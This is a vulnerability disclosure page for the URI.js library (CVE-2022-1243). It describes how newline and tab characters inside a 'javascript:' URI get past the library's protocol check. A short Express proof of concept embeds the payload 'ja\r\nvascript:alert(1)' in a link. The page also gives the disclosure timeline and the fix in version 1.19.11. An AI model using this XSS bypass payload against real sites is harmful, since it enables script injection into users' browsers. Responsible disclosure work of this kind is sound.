huntr

CRHTLF can lead to invalid protocol extraction potentially leading to XSS in medialize/uri.js

1

✓ Valid Reported on Mar 18th 2022

Description

\r, \n, \t characters in the URI can lead to XSS as URI.js will fail to extract javascript: protocol from a URI. See Section 4.4 Step 3 "Remove all ASCII tab or newline from input." of the WHATWG URL spec.

Proof of Concept

```
const parse = require('urijs')
const express = require('express')
const app = express()
const port = 3000

input = "ja\r\nvascript:alert(1)"
url = parse(input)

console.log(url)

app.get('/', (req, res) => {
  if (url.protocol !== "javascript:") {res.send("<a href=\'" + input + "\'
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})
```

Run the above and click on the CLICK ME, applications using URI.js to check protocol will still be vulnerable to XSS.

Impact

This vulnerability is capable of incorrect protocol extraction potentially leading to XSS.

Occurrences

JS URI.js L13L53

\r \n \t characters should be removed before parsing

CVE
CVE-2022-1243
(Published)

Vulnerability Type
CWE-20: Improper Input Validation

Severity
High (7.2)

Visibility
Public

Status
Fixed

Found by

haxatron
@haxatron
pro

This report was seen 948 times.

We are processing your report and will contact the **medialize/uri.js** team within 24 hours.
8 months ago

We have contacted a member of the **medialize/uri.js** team and are waiting
8 months ago

Chat with us

We have sent a follow up to the **medialize/uri.js** team. We will try again in 7 days. 8 months ago

We have sent a second follow up to the **medialize/uri.js** team. We will try again in 10 days. 8 months ago

A **medialize/uri.js** maintainer validated this vulnerability 8 months ago

haxatron has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

A **medialize/uri.js** maintainer marked this as fixed in **1.19.11** with commit **b0c979** 8 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

URI.js#L13L53 has been validated ✓

A **medialize/uri.js** maintainer 8 months ago Maintainer

Thank you for reporting the issue. it has been solved and released as v1.19.11

Jamie Slome 8 months ago Admin

The researcher has requested a CVE here.

Can I go ahead and assign and publish one @maintainer?

A **medialize/uri.js** maintainer 8 months ago Maintainer

Hey Jamie, yes, go ahead :)

Jamie Slome 8 months ago Admin

Sorted 👍

Sign in to join this conversation